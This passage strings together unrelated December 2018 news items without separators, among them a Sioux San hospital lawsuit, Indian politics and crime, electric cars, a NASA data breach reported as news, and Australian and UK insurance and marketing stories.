Sioux San campus. Lee argued that urban Indians are not allowed to vote in tribal elections and therefore not given equal representation as afforded by the U.S. Constitution and therefore did not elect the tribal officials who gave authority to GPTCHB to initiate negotiations over management of Sioux San. US Attorney Diana J. Ryan, arguing on behalf of Acting Director of the Great Plains IHS Area James Driving Hawk, said If that [inability to vote in tribal elections] is a concern, then she [White Face] needs to take that up with her tribe. Protesters gathered in front of the federal building in downtown Rapid City on December 8, 2018,, marching and chanting with brightly colored placards in a rally to keep tribes from taking over management of the Sioux San Hospital there. Photo by James Giago Davies / Native Sun News Today It appears the US Attorneys stance on the matter is that tribes have jurisdiction over tribal members living off the reservation. I understand the unfairness of it but that is something you have to take up with your tribes, Ryan said. Ryan also called White Faces filing the request for an injunction premature because she said the 638 contract has not been awarded, This is still in negotiation, and we are so far from a final decision. Ryan also argued that the case be dismissed because White Face filed is an individual and treaties only recognize government to government relations and that as an individual, White Faces remedy is to file a TORT Claim against IHS if she believes she has been injured as a result of the 638 contract. White Face had asked for $100,000 in damages in her lawsuit. Lee also argued that community members affected by the transfer were not consulted as required by Public Law 638. Lee offered as evidence a 1973 amendment of the Transfer Act, 42 U.S. Code 2001, subsection (b) : "In carrying out his functions, responsibilities, authorities, and duties under this subchapter, the Secretary is authorized, with the consent of the Indian people served, to contract with private or other non-Federal health agencies or organizations for the provision of health services to such people on a fee-for-service basis or on a prepayment or other similar basis. Lee argued that only the Secretary of Health and Human Services Alex Azar, has the authority to negotiate for Urban Indians and must have the consent of the Indian people served for transfer of services to the GPTCHB. His argument was that Azar did not meet with Indian people served and therefore not part of the negotiation process. Attorney for the GPTCHB Attorney Colin C. Hampson countered that a subsequent amendment to Public Law 638 42 U.S. Code 2001, negates subsection (b). Hampson also presented evidence that the GPTCHB is protected by tribal sovereign immunity and therefore not subject to lawsuits. Viken asked if White Face was speaking on behalf of other 22,000 Indian community members who utilize Sioux San as she had not enjoined them in her lawsuit. Viken issued an order on December 14 dismissing the Motion for Permanent Injunction without prejudice, which he said allows the plaintiff to file at a later date after the 638 contract is signed and after she has the opportunity to enjoin the community in a class action lawsuit. Viken also granted GPTCHB Motion to Dismiss for Failure to State a Claim; granted Indian Health Services Motion to Dismiss for Lack of Jurisdiction and denied as moot the Cheyenne River and Oglala Sioux Tribes Motion for Leave to file an amicus brief. The Cheyenne River Sioux Tribe, the Oglala Sioux Tribe and the Rosebud Sioux Tribe want to take over management of Sioux San Hospital in Rapid City, South Dakota, from the Indian Health Service. Photo by Kevin Abourezk According to Rosebud Sioux Tribe Soldier Creek District Council Representative Kathleen Wooden Knife the Rosebud Sioux Tribal Council voted not to enjoin the GPTCHB in filing an amicus brief. The GPTCHB issued the following statement hailing the dismissal as a victory. The court filing attempted to halt the transfer of managerial control of the Sioux San Hospital over to the GPTCHB. Currently, the hospital at Sioux San is operated by the Indian Health Service, however, the Rosebud Sioux Tribe, the Oglala Sioux Tribe, and the Cheyenne River Sioux tribe voted to contract GPTCHB to take over full operational control of the facility by February 2019. True triumph will be achieved when [we] fully engage, embrace and ensure the confidence of the users of Sioux San, and its dedicated, staff. We are on a new journey as a community as are the tribes. While there are divergent views on how to best achieve the best healthcare possible for our people, we all have a love of our people in our mind and hearts, said Jerilyn Church, CEO of GPTCHB. Contact Ernestine Chasing Hawk at staffwriter@nativesunnews.today Copyright permission Native Sun News Today Join the Conversation Talking in reference to the Bulandshahr violence, lynchings and religion, Naseeruddin Shah expressed his concern over how the death of a cow has more significant than that of a police officer. He says he doesnt see the situation improving anytime soon. He also expressed fears over childrens response to facing a similar situation. In an apparent reference to the recent mob violence, actor Naseeruddin Shah said at many places the death of a cow is being given more importance than the killing of a policeman. The veteran actor also expressed anxiety over the well-being of his children, who he said have not been brought up as followers of any particular religion. Shah made the comments in a video interview with Karwan-e-Mohabbat India and the organisation shared it on its YouTube channel on Monday. BCCL The actor said the "poison has already spread" and it will be now difficult to contain it. "It will be very difficult to capture this djinn back into the bottle again. There is complete impunity for those who take law into their own hands. In many areas we are witnessing that the death of a cow is more significance than that of a police officer," he added. Shah, who is married to actor Ratna Pathak Shah, said they chose not to give any religious education to their children -- Imaad and Vivaan -- as he believes "being good or evil has nothing to do with religion". His fear for his children's safety is reminiscent of Aamir Khan's comments on intolerance in 2015 that had sparked a major controversy. BCCL "I had received religious education as a child. Ratna (his wife) was from a liberal household so she received next to none. And we chose not to give religious education to our children because I believe being good or evil has nothing to do with religion. "We taught them about good and bad, what our beliefs are. I did make them learn a few verses from the Quran Sharif, as I believe reciting them improves one's articulation. Just like one's articulation improves reading from the Ramayana or Mahabharata from its original..." Shah added. The actor is worried that the situation would not improve "anytime soon" and said he is angry, not scared. BCCL "I feel anxious for my children because tomorrow if a mob surrounds them and asks, 'Are you a Hindu or a Muslim?' they will have no answer. It worries me that I don't see the situation improving anytime soon. "These matters don't scare me, they make me angry. And I feel every right-thinking man should feel angry, not scared. This is our home, who dare evict us from here?" he said. On December 3, a mob, including right-wing activists, attacked a police station over alleged cow slaughter in the areas. The incident led to the deaths of Inspector Subodh Kumar Singh and another man. After winning elections in three states, Congress is on a farm loan waiver spree. After waiving of farmer loans in Madhya Pradesh and Chhattisgarh, Rajasthan chief minister Ashok Gehlot announced that farm loans up to Rs two lakh defaulted till November this year will be waived off. Rajasthan is the fourth state to waive farm loans. Congress had pushed farmer loan waiver as a major poll promise in its manifesto but did not specify a time limit of the loan that would be put aside. Congress President Rahul Gandhi tweeted about CM Gehlots announcement. It's done! Rajasthan, Madhya Pradesh & Chhattisgarh have waived farm loans. We asked for 10 days. We did it in 2. Rahul Gandhi (@RahulGandhi) December 19, 2018 After the meetings ended, the CM told reporters, The previous government went back on its words to farmers. It had announced waiver of farm loans up to Rs 50,000 but provisioned just Rs 2,000 crore for it instead of Rs 8,000 cr that would have been required to fulfil its promise. The BJP government, therefore, left a burden of Rs 6,000 crore on the present Congress government. Gehlot added, Still we decided that we will waive all short-term loans taken from cooperative banks. In addition, loans up to Rs 2 lakh will be waived for eligible farmers who took loans from nationalised, commercial or other banks but are unable to pay back. All this is for defaulters till November 30, 2018. The chief minister said many farmers unable to pay back the loan took their own life under the previous BJP government. Farmer suicides happened for the first time in Rajasthan, Gehlot said. The fourth pillar of democracy- the media is believed to act as the eyes and ears of a nation. By reporting about the governments functioning and needs of the people, it acts as a mediator between the two. However, in autocratic and monarchy settings if media reports the wrongdoings of the government in power, then it is strong-armed and the voices of those journalists are curbed. In recent years, journalists especially those in regional, or poverty stricken areas have met unfortunate fate as they were murdered by government officials, bureaucrats or fringe groups. A study conducted by Reporters Without Borders reveals that Afghanistan is the worst country for journalists since 15 journalists were killed in the conflicted nation in 2018 alone. In India six journalists have been killed in 2018 and it shares this spot with a first time entrant- the United States. In India many were physically assaulted, attacked and threatened also. The next most deadliest place to report from is Syria where 11 journalists have been killed, nine in Mexico and eight in Yemen giving India the fifth spot in this list. Photo: Rachel Lang/ Representative Image However, it is a good year for Iraq as for the first time ever since U.S led invasion of 2003, no journalist has been killed in the country. The sad part is that even though countries like India and United States are not in involve in any war conflicts yet their journalists were killed to death using barbaric methods. The Times of India reported that in India, RSF highlighted two cases: "A village chief in the northeastern Indian state of Bihar killed two journalists, Navin Nischal and Vijay Singh, in retaliation for their reporting by deliberately running them down with his SUV on March 25. On the same day, in the central state of Madhya Pradesh, a dump truck was used to run down and kill Sandeep Sharma, a journalist who had been investigating the local 'sand mafia'." Representative Image Sandeep Sharma had even filed a complaint regarding death threats that he had been receiving for doing a story on sand mining. The United States entry into the list could be due to the Capital Gazette firing where a gunman walked into the media office and opened fire. The incident is cited as the deadliest in U.S media history. A Doordarshan cameraman was also killed in a Naxal attack in Chhattisgarh in October this year. In total 80 journalists were killed this year out of which 63 were professional journalists. In 2017, 55 professional journalists were killed all over the world. Of the 80 journalists that were killed, 49 were deliberately targeted because their reporting threatened people in positions of power. Meanwhile, TIME magazine selected "The Guardians," a group of journalists, who have been targeted for their work in 2018, as 'Person of the Year'. The group of four journalists includes Jamal Khashoggi, who was killed at the Saudi Arabian consulate in Istanbul in October. He was a well-known Saudi journalist and vocal critic of the Saudi Arabian leadership. Vijay Mallya, Nirav Modi or perhaps even Mehul Choksi are not the only fugitives that the Indian government is looking to extradite. European middleman Guido Ralph Haschke and Carlo Gerosa along with Lalit Modi and Nitin and Chetan Sandesara are among other 58 economic offenders being pursued by the government. The Times of India reported that the government was pursuing 58 offenders through Look-out-Circulars (LoCs), Interpol red notices and extradition requests for those living abroad. Investigation agencies like the Central Bureau of Investigation, Enforcement Directorate and Directorate of Revenue Intelligence are pursuing at least 16 extradition requests in different countries such as UAE, UK, Belgium, Antigua and the U.S. Photo: AP/Vijay Mallya in London The government has even sent fresh extradition requests for Guido Ralph Haschke and Carlo Gerosa to Italy in October. As for Nirav Modi, the Ministry of External Affairs said in a reply that a red notice had already been issued against him and separate extradition requests have also been sent. His assets worth billions have been seized from various showrooms in New York and Hong Kong. Similarly, two extradition requests have been sent for Choksi to Antigua and a red notice has recently been issued against him by the Interpol, making him an international fugitive. On December 10, UK Court ordered his extradition in London. A 42-year old British national who was visiting Goa was allegedly raped by an unidentified person near the Palolem beach in Canacona The incident happened on Thursday around 4 am, when the woman was going towards the Palolem beach, where she had rented a house. BCCL/REPRESENTATIONAL IMAGE According to police, she was walking from the Canacona railway where she had gone to catch a train to Thivim station located in North Goa district. But she returned from the station after the train got delayed. Following the incident, the accused later ran away with the belongings of a woman. Police said that they have launched a probe, based on the description given by the victim. The incident which happened in Canacona, a popular tourist destination with famous beaches such as Agonda and Palolem has raised some serious question on the safety of women tourists. BCCL/ REPRESENTATIONAL IMAGE This is no the first time foreign tourists have come under sexual assault in Canacona. In March 2017, a young Irish tourist Danielle McLaughlin was raped and brutally murdered in the same Palolem village. In 2015, a twenty-two-year-old Finnish national was found dead on an interior road in Canacona. The latest incident came to light just before the Christmas-New Year celebrations, which is arguably the biggest tourists season in Goa. AFP US President Donald Trump has ordered the US military to completely withdraw from Syria, as he said America has defeated ISIS in the war-torn country. Read more Here's more top news of the day: 1) Fifteen Bottles Of Pesticide Was Poured Into Prasad That Killed 15 People In Karnataka PTI A local seer and three other people were arrested on Wednesday on charges of conspiring to kill devotees to defame the management and take control of the shrine. Read more 2) Mohammad Ali Jinnah's House In Mumbai Becomes An MEA Property, To Be Renovated For Top Meets BCCL The Jinnah House in Mumbai, the house originally owned by Pakistan founder Muhammad Ali Jinnah, will soon be handed over to the External Affairs ministry. Read more 3) You Can Now Check Water Pollution On Phone With This Low Cost Device, All Thanks To IIT Ropar! Photo: AP Pollution has become a serious phenomenon in India. Environment and its deterioration has always been taken lightly by Indian citizens. As citizens fall ill after inhaling soot and PM 2.5 levels, stubble burning has added to north Indias pollution woes. Read more 4) After Madhya Pradesh And Chhattisgarh, Rajasthan Waives Farmer Loans Up To Rs 2 Lakh After waiving of farmer loans in Madhya Pradesh and Chhattisgarh, Rajasthan chief minister Ashok Gehlot announced that farm loans up to Rs two lakh defaulted till November this year will be waived off. Read more 5) World's First Hospital On Rail, Lifeline Express Reaches Tripura, Treats 1000 Patients In Two Days BCCL/FILE A full-fledged hospital on tracks 'Lifeline Express', popularly known as the Hospital Train has reached the Churaibari railway station in North Tripura district. Read more As of Thursday this week, it's estimated that there are at least 5.38 billion indexed pages on the Internet. That's a lot of data for search engines to parse through, including users' searches, so it's possible they can sometimes throw up...awkward results, to say the least. It seems be that, searching for the term, "bar girl in India" shows up the Wikipedia page for Congress' Sonia Gandhi as the first result. This works on both the Google.com and Google.co.in search pages. It's not just a one-off incident either, the rest of the results page is peppered with forum posts, Quora entries, and the like, asking whether the Congress herald used to be a bar dancer. Clearly a rumour or political speech has taken hold among the masses, and their googling has suggested a trend that the search engine has picked up on. Is Google manipulating search results? Earlier this month, Google CEO Sundar Pichai was heatedly questioned by a senate hearing committee in the US, about why Trump's photo shows up when you google the word "idiot". Then, just a few days ago, Pakistan's Punjab Assembly passed a resolution to summon Google CEO Pichai as well, to demand an explanation for why "bhikari" searches provide Prime Minister Imran Khan's photos. Now, India's got it's own reason to be mad. Again, as Pichai had mentioned in the US senate hearing, the company doesn't "manually intervene" in search results, they're purely based in what Google's web crawlers find online. "We provide search today for any time you type in a keyword," he said at the time. He further continued, "We, as Google, have gone out and crawled and stored copies of billions of their pages in our index, and we take the keyword and match it against the pages and rank them based on over 200 signals. Things like relevance, freshness, popularity, how other people are using it. And based on that, you know, at any given time, we try to find the best results for that query." So if algorithms control everything in a Google Search, is there a chance they aren't working as intended here? With this Sonia Gandhi "bar girl in India" Google result, and that of Trump and Imran Khan before this, are the algorithms failing? One thing's for sure, Google has a lot of explaining to do. Mahindra is all set to expand its electric vehicle (EV) portfolio in the Indian market and in and impressive way nonetheless. For the first time ever, the company is foraying into the SUV segment with its electric drivetrain and for that, Mahindra has selected the upcoming version of its much popular XUV range in India. On Wednesday, the Indian auto maker released the images of its upcoming XUV 300, which is bound to hit the Indian market in 2020. Alongside, Mahindra also announced its plans to bring an electric version of the XUV 300 which, for now, is codenamed S210. Mahindra XUV 300 The S210 will be making its debut by the mid-2020 and will be a sub-4 metre offering. The electric car will be powered by a Lithium-ion battery produced by LG Chem, following the partnership of the two firms for the electric car battery requirement. In addition to this, Mahindra also said that it is ready to embrace developing battery technologies which offer a better range. Mahindra might come up with two different versions of the electric S210 depending upon their use cases. If so, one of them is expected to be a city-centric electric offering with a lower battery backup for short range distances and of course, a lower associated price tag. The other one, might be a performance focused, long range offering that might also set you back a few extra bucks. Mahindra XUV 300 As for the price of the S210, the zero-emission offering from the house of Mahindra is expected be priced lower than Hyundai Kona electric, which is also set to make its debut in India next year at an ex-showroom price of Rs 25 Lakh. That means the S210 will be competing with another of Hyundais offering, which the company had recently hinted at, also being priced lower than the Kona SUV. Sedan or SUV, that has not been decided yet but Hyundais MD & CEO Y K Koo expressed the inclination towards an SUV. On Tuesday this week, NASA sent an internal memo to employees with some dire news. As it turns out, the US space agency had been hacked in October and data stolen. The hackers were reportedly able to make off with far too much of employees' private data. NASA According to the memo from NASA's HR department, the breach occurred on October 23, with the culprits stealing personally identifiable information, including staff's social security numbers. Yet, despite nearly two months having passed by the time NASA announced the incident, very little information was disclosed, likely due to national security concerns. NASA is reportedly still working with federal investigators to determine both the extent of the breach and the perpetrators behind it. Apparently, it involved servers that store data of employees that worked at the agency between July 2006 to October 2018. NASA says it sent the memo to warn employees to take necessary precautions as far as identity theft is concerned, but they're not sure yet how many employees and which of them for sure were affected. The agency has vowed to provide further details when they have more information. At the very least, in a response to Gizmodo, NASA said it "does not believe that any agency missions were jeopardized by the intrusions." As the world shifts towards electric-powered vehicles, there is a looming question that haunts each and every auto maker, which is how to tackle the range limitations of the vehicles? Part of the reason for this are the long time duration required to charge the batteries of EVs. So naturally, alternatives to the plug and charge concept have taken the centre stage of research in the field. Several substitutes have come up over time. Recently we shared how a startup in India has come up with a graphene based metal-air battery as a substitute to the conventional Lithium-ion batteries. The concept involves topping up your car with water and you are good to go. Now, a new concept by a Dutch based company uses the energy from the sun as a way to charge these batteries. Now thats free and renewable energy put to good use. Lightyear is a startup currently in the process of coming up with the first prototype of an electric car that recharges through solar cells embedded on its roof. Do not mistake it for the only source of recharging the car though. It does come with the conventional charging plug, so you still can charge the car at a charging station or at your home. Lightyear The solar cells are there to eliminate the dependence on such charging stations though. Lex Hoefsloot, CEO of Lightyear began developing the cars concept while he was a student at the Eindhoven University of Technology. By the time he had already won the World Solar Challenge in 2013 and in 2015 as a part of a team that developed car capable of driving around 1000 miles on a single charge. Now looking to commercialise the concept's shaped wings, Hoefsloot launched a startup straight after the university, finding investors in the process as well as people with experience in the car industryincluding ex-Tesla employees. As for the car, technically it does not run directly from the solar energy. There is still a lithium-ion battery powering the vehicle. However, the solar cells are able to charge the battery on the go, meaning the car has a potentially unlimited source of charging, without ever stopping for a refuel. In addition, the company is ensuring an ultra-efficient model for the car as it has a direct impact on the range. The more efficient a vehicle is, the less energy it uses and hence delivers a better range. For this, Lightyear says that the body of the car has been made much lighter than average through design changes as well as the material used. Lightyear Other enhancements include in-wheel motors instead of a transmission, better aerodynamics, cameras instead of side-view mirrors, a streamlined undercarriage and an adjustable height of the car through an air suspension system to minimise the drag. With all these changes in place, the company claims an impressive 500 miles (800+ kms) on a single charge. The concept actually comes as a solution to two major issues. Firstly, as the vehicles are ideal most of the time during the day (or even on the run), they can have a constant charging without staying plugged in. Second and more importantly, as many regions in the world are still trying to embrace the EV culture, the question of setting up the EV infrastructure or bringing the EVs first can be solved through this. It can act as a big kickstarter to any region trying to shift its transport models to electric drivetrains. Lightyear hopes that going forward, the car can primarily run on solar energy. The company has also put up a calculator on its website to calculate the energy distribution for commutes. As per it, in a sunny city, solar power will be able to cover 96% of a 10,000 mile (16,000 kms) drive annually. Hoefsloot claims We saw that the technology we usedthe solar cells and the battery cells and the motorswere getting much better from year to year, says Hoefsloot. In the first car that we built for the Solar Challenge we had solar cells that were 22% efficient, and two years after that they were 24% efficient. That meant a 10% increase in energy yield. That keeps happening every two years. So that means at some point it is really kind of trivial to use solar power as a way of charging. Lightyear Lightyear is planning to test its prototypes on real road conditions in 2019. Once the testing phase is completed, the company plans to launch its first cars in 2020 at an expected price of $135,000 (Rs 94 Lakh), eventually bringing it down to $26,000 (Rs 18 Lakh) with increasing production. Hoefsloot is not being money minded in the process though. He hopes that the industry catches on to the trend, something which he calls as the second wave of electric cars after the first wave hit the auto industry hard with the Tesla Model S back in 2010. If the trend catches on, we might be looking at a whole new generation of electric cars that further reduce the carbon footprint of personal transport by completely embracing clean energy. To think of it, there is no reason why such a concept will not work in a country like India, considering the high level of solar energy abundantly available in the country. So as and when the Lightyear car makes its way to the country, or even if another auto maker picks up the idea on a commercial level within the country, this might just be the boost that Indias EV scenario has been needing since long. S Jayachandran from North Chennai was known as the Two Rupees doctor as he used to treat the underprivileged working class people at a minimal fee of Rs 2. He had been ill for quite some time and after suffering for several months, he passed away on December 20, 2018. The people of Chennai mourned on the death of the legend. The physician used to charge only Rs 2 from each patient and continued to collect the same fee till 1998. Later, he revised it to Rs 5 and then to Rs 10, Thooyamurthi, Jayachandrans longtime friend said. Twitter He would serve the poor through the day. People would begin queuing up at his clinic since 4.30 am. On an average, he treated about 250 patients every day, sometimes offering medicines free, said Thooyamurthy, adding that Jayachandran remained the peoples doctor till the end. He was born at Nagapattinam in Kancheepuram district in 1947 and completed his MBBS in 1970 after which he opened a clinic in which he treated patients for Rs 2. The Tamil movie Mersal was also inspired by him. | BY Ricki Green | Following the announcement last week that the ongoing location of the Australian Space Agency will be in Adelaide, its new brand identity has also been unveiled developed by Ogilvy Australia. It is the first work launched by Ogilvy since its appointment several months ago, following a competitive pitch. Ogilvy developed the new logo and all associated livery after being briefed to develop a bold brand identity that stands out as distinctively Australian. Says David Fox, CEO, Ogilvy Australia: The Australian Space Agency not only needed an identity to reinforce its remit to look to space to provide real improvements on earth, but one that captures our powerful cultural heritage. Were incredibly proud of the resulting brand, which alludes to the light created by human light and industry, while referencing several significant Indigenous constellations that can be seen from our skies, representing important Dreaming stories. Its a bold and flexible logo that can be utilised in a myriad of ways as the new Agency continues to grow and develop. We believe the branding strategy formalises Australias spot on the space map by positioning its unique perspective for the new space age. The Australian Space Agency was established by the Australian Government on 1 July 2018 with a goal to stand out among the international space community. Its key responsibilities and expectations include being the single point of contact to lift national and international engagement in the global space industry, growing the nations space industry capability and forging a new civilian and commercial space identity. The Agency has also been tasked with communicating to the Australian people the importance of space in everyday life while coordinating domestic space activities. Says Fox: Given that space isnt always top of mind for Australians it was vital that any branding really established the new organisation as a globally-respected, trusted and responsible Australian Space Agency. It also had to match Australias creativity and ingenuity through its space exploration involvement. And as a successful Australian agency with our own strong identity, we were proud to use our creative approach to achieve these goals. Fox said the new branding aimed to communicate to the international space sector, local industry and the wider Australian community by using the new logo across a range of channels. In addition to developing the new brand identity, Ogilvy developed for launch an animated event video, plus social and creative elements in support of online and offline activity. Sally Kissane Managing Director Brenton Bleechmore Creative Director Gillian Browne Senior Copywriter A group of 124 asylum seekers, formerly held at the Sheridan, Oregon Federal Correctional Institution, have been released on bond to await their hearings. The American Civil Liberties Union had filed a lawsuit against the Department of Homeland Security, noting that among the detainees were a large number of Sikhs who were unable to practice their religion while held at Sheridan. In an earlier story, Indian American spokeswoman for SALDEF Gujari Singh told India-West that the men were not allowed phone access, and no orientation or sufficient explanation of why they are there and what happens next. The ACLU has since dropped its lawsuit. (ACLU Oregon photo) This was in response to an open letter sent to insurers by a coalition of 73 organisations, including Market Forces and the Unfriend Coal campaign, urging them to refrain from insuring the Carmichael coal mine in the light of its climate, environmental, and social impacts. Adanis failure to secure private financial backing for the controversial Carmichael mine and rail project forced the Indian company to announce last month that it would finance the project on its own a move that put insurers in the spotlight as the project cannot be built or operated without insurance, said Julien Vincent, executive director of Market Forces. Those who have yet to commit must ask themselves, do they really want to be the company that opens up one of the worlds biggest coal basins in the middle of a climate crisis? Vincent said. So far, Lloyds, Beazley, Hannover Re, and Starr have not committed to refusing Adani insurance, though Lloyds, Beazley, and Starr did note that they are not currently involved in the project. Sixteen insurers with no policies on coal insurance have yet to respond: AIG, Axis Capital, Berkshire Hathaway, Great American Insurance, Liberty Mutual, Markel Corporation, WR Berkley, Canopius, Chaucer, CNA Hardy, Chubb, Hamilton Insurance Group, HDI, Mapfre, Sompo, and Tokio Marine. The giant Carmichael coal mine is a test case that demonstrates clearly whether insurers care about managing climate risk or are more interested in profiting from climate chaos, said Lucie Pinson, European coordinator of the Unfriend Coal campaign. Companies that are unwilling to rule out insuring this disastrous project are threatening the future of our climate, the unique environment of the Barrier Reef, and the wellbeing of local people. The ACCC case was dismissed by the Federal Court in August last year, prompting the ACCC to lodge an appeal to the Full Federal Court in Sept. 2017. The Full Federal Court dismissed the appeal, as it held that although the insurer acted harshly and unfairly, it was not enough to establish statutory unconscionability. The ACCC brought this appeal to seek clarity from the Full Federal Court on whether it was acceptable for Medibank to choose not to fully inform consumers, including members with chronic health conditions, in advance about important changes to their private health-insurance cover, said Rod Sims, ACCC chair. Having a clear and unambiguous understanding of what is included in a health-insurance policy is essential to all Australians. Despite todays result, we are committed to taking action against businesses, including private health insurers, if we have evidence they are misleading their customers. We are pleased that the court has again dismissed the ACCCs case, as we firmly believe that our actions were not unlawful, said Craig Drummond, Medibank CEO. These proceedings, which were initially brought against Medibank in June 2016, relate to the communication of changes made to arrangements with some in-hospital diagnostic service providers in 2014. ACCC said it is carefully considering the Full Federal Courts decision. The program included topics such as global risk outlook, risk engineering, international programs, claims, and personal development. The program attracted continuing professional-development accreditation from ANZIIF and NIBA. This years academy inductees were Caitlin Carson of Jardine Lloyd Thompson (NSW), Dale Mackney of United Insurance Group (VIC), Georgina Brown of Peter L Brown & Associates (NSW), Jesse Thorp of Adroit Insurance Group (VIC), Noel Kelly of Austbrokers Transport (NSW), Sam Butson of East West Insurance Brokers (QLD), Sarah Priestley of Marsh (NSW), and Taela Bloemers of Regional Insurance Brokers. Zurichs focus is the commercial intermediated insurance market, so we have a strong interest in developing and investing in tomorrows senior broker leaders, said Bell, Zurichs head of distribution delivery and business insights. As a leading international insurer operating in Australia and New Zealand, the NextGen Academy is also one of the ways we can give back to our local market and reinforce the exciting and varied opportunities that are available when you choose a career in insurance. This years inductees were the second batch to join the program, following the inaugural NextGen academy intake in 2017. | BY Ricki Green | PayPal Australia has launched the third instalment of its most successful campaign in Australia Shop Off The Beaten Path connecting hungry-for-giftspiration shoppers with unique Australian retailers. In addition to optimising the Shop Off the Beaten Path gifting portal, the integrated, mobile-first campaign includes a video content series featuring Matt Okine, as well as a partnership with Daily Mail Australia. This year, the focus has narrowed in on the sheer number of people Australians need to buy for, with the new creative pointing Aussies to The Right Gifts For Your People. The campaign was informed by new research conducted by PayPal which showed that Aussies will be purchasing ten gifts for up to eight people in their lives this Christmas. Says Liz Lefort, head of consumer marketing at PayPal Australia: With Christmas Day less than two weeks away, many Aussies will be starting to feel the pressure as they consider what they will get their loved ones this year. To better understand the stress that comes with gift-giving, PayPal Australia commissioned research and found that while more than a third of Aussies (35%) think they will hit the nail on the head with their gift giving this year, well over half (59%) are not so confident when it comes to buying for others. With this in mind, we wanted to do our part to help Aussies nail their Christmas shopping. This year PayPal has extended the Shop Off The Beaten Path campaign with a content series called Carpark Christmas Challenge. The three-part series features Aussie comedian and actor Matt Okine helping members of the public complete their Christmas shopping online in less time than it takes them to find a park in a busy carpark. Says Lefort: Shopping center car parks are an absolute nightmare at Christmas. They are stressful, time consuming and they bring the road rage out in all of us. Based on this insight, we wanted to show Aussies an easier way to nail Christmas shopping for everyone on their list. PayPals Carpark Christmas Challenge shows that you can nail all of your Christmas shopping online without having to face the stress of finding a park. Says Jamil Bhatti, creative director at Edelman Australia: Creating content which cuts through the noise during the heavily saturated Christmas period is no easy feat. Add to that the need to build on an already fun and successful campaign, means we are really excited with our latest work for PayPal. The human insight, combination of authentic stories and Matt Okines sense of humour makes PayPals Carpark Christmas Challenge relatable. It is a simple mechanic that clearly demonstrates the benefits of shopping with PayPal this Christmas. To cut-through with the digital native target audience, PayPal has engaged in a strategic partnership with Daily Mail Australia (DMA). The partnership comprises a first-in-market shoppable video ad unit through which viewers can buy the products that Okine features in the Carpark Christmas Challenge. The execution of the DMA partnership also complements broader PR activity and includes sponsored content, advertising across desktop and mobile, Facebook Instant Articles and amplification through Daily Mails social channels. Created in 2016 by Isobar, iProspect, and Edelman, this years Shop Off The Beaten Path portal has been optimised with a smarter search functionality, allowing users to pick the unique traits of the people they need to shop for and then matches them with over 40 retailers. The portal has also been enhanced through the creation of animated avatars which capture the different traits of Australians such as geeky, sporty, classy, fashionable and adventurous. Adds Lefort: Whether you are shopping for a posh gran that loves drones or a relaxed brother that lives in activewear, PayPals Shop Off The Beaten Path portal has got you covered. The beauty of this campaign is that it supports our two-sided network. We know that Christmas is an incredibly stressful time of the year for both consumers and businesses, so we wanted to create something that would add value to their lives and help them blitz Christmas this year. Using smart technology, coupled with creative media placements, the socially-led and solely-digital campaign is underpinned by a data-driven media strategy. PayPal-owned customer data combined with the companys advanced understanding of mobile purchasing habits have been used to ensure Shop Off The Beaten Path resonates with Australian shoppers and is tailored to consumer habits, while also supporting our expanding network of business partners. Says Michael Hughes, creative director, Isobar: Like PayPal, Isobar always strives to make things easier for businesses and consumers, and this years PayPal Christmas campaign Shop Off The Beaten Path is a perfect example of that. By combining the strategic and creative strength of Isobar with iProspects expertise in digital performance marketing, weve built a simple and engaging campaign on effective, data driven, foundations. It feels good to connect gift buyers with gift sellers in new and powerful ways, while ensuring there will be many happy faces across Australia on Christmas Day. Whether short on time, lacking gift-spiration or just dont know where to look, visit: https://www.paypal.com/au/webapps/mpp/christmas. Client: PayPal Australia Video Content: Edelman Australia Digital: Isobar Australia Public Relations: Edelman Australia Social Media: Edelman Australia and Isobar Australia The probe also pointed to damaging practices including continual year-on-year stealth price rises as well as difficult processes to cancel contracts or switch providers. Particularly in the insurance market, nearly 12 million consumers are said to be impacted by the pricing issue. In response, the government body has made reforms recommendations. Our work has uncovered a range of problems which leave people feeling ripped off, let down, and frustrated, commented CMA chief executive Andrea Coscelli. They shouldnt have to be constantly on guard, spending hours searching for or negotiating a good deal, to avoid being trapped into bad value contracts or falling victim to stealth price rises. Millions of loyal or vulnerable customers are being taken advantage of each year by firms and end up paying much more than they should do. This must come to an end. The FCA, for its part, stressed that the issue of loyal customers being charged more for financial products is a priority for them. The regulator agrees with the CMA that harmful practices should be tackled robustly. We expect firms to look after the interests of all customers and treat them fairly, whether they are new or longstanding, stated Christopher Woolard, executive director of strategy and competition at the FCA. Where we have concerns about conduct by firms, we will explore all options to address this using the full range of our powers. Industry reaction Among those who welcomed the development was Better Health Insurance Advice managing director Kevin Gillett, who believes so many have unwittingly faced financial penalties for their loyalty for too long. Annual price hikes, costly exit fees, and complex policies all impact consumer freedom and we hope todays (December 19) news acts as a wake-up call for a number of industries, he said. Also, it is the Dorset-based businesss hope that firms look at ways of taking a more customer-centric approach into 2019. Meanwhile Association of British Insurers director general Huw Evans acknowledged that there needs to be a better balance between the deals offered to new consumers and the interests of longstanding customers. He added: That is why insurance is the only sector of those looked at by the CMA to have already taken voluntary, industry-wide action to tackle the concerns being raised. The insurance industry is committed to working constructively with the regulators as they take this forward. Eric Leenders, from the world of savings and mortgages, offered his insights as well. The industry has already implemented a number of remedies to improve competition in the mortgages and cash savings market to encourage customers to shop around to get the best possible deal, and we are pleased that the CMA has recommended that the Financial Conduct Authority continues to work with the industry in response to the super-complaint made by Citizens Advice, commented the managing director of personal finance at UK Finance. Recommendations also include targeted price caps, where necessary, to protect consumers worst hit by the loyalty penalty. Coscelli remarked: Together the CMA, regulators, and government must act more promptly and powerfully to hold firms to account, stop them exploiting their customers, and restore peoples trust in markets. These AAA insureds as well as many other AAA insureds throughout the state are woefully underinsured in the event of a fire loss and will be unable to rebuild their home, Greg Bentley, an attorney for the plaintiffs, told The Argus-Courier. One of the plaintiffs, Larry Spanier, told the publication that CSAA estimated it would take $1.3 million to rebuild his home, which burned to the ground in the October blaze. However, Spanier said that he obtained estimates that put the rebuilding cost at around $2.3 million. Spanier said he even bought 50% more home-replacement coverage than is recommended by industry advocates but that still caps his overall insurance payout at $1.1 million, more than $1 million short of his actual rebuilding costs, The Argus-Courier reported. CSAA is the third insurer to be sued by Sonoma County, Calif., homeowners in connection with the wildfires, according to The Argus-Courier. Policyholders with USAA and Farmers Group have also sued after finding themselves severely underinsured. The lawsuit against CSAA alleges bad faith on the part of the insurer. It claims that CSAA made a change in 2016 that made homeowners responsible for more of the cost in the event of a major claim, but didnt properly inform them of the change to their policies. Prior to June 2016, CSAA homeowner policies stated that the maximum limit of structure coverage may be adjusted by renewal of this policy to an amount we estimate 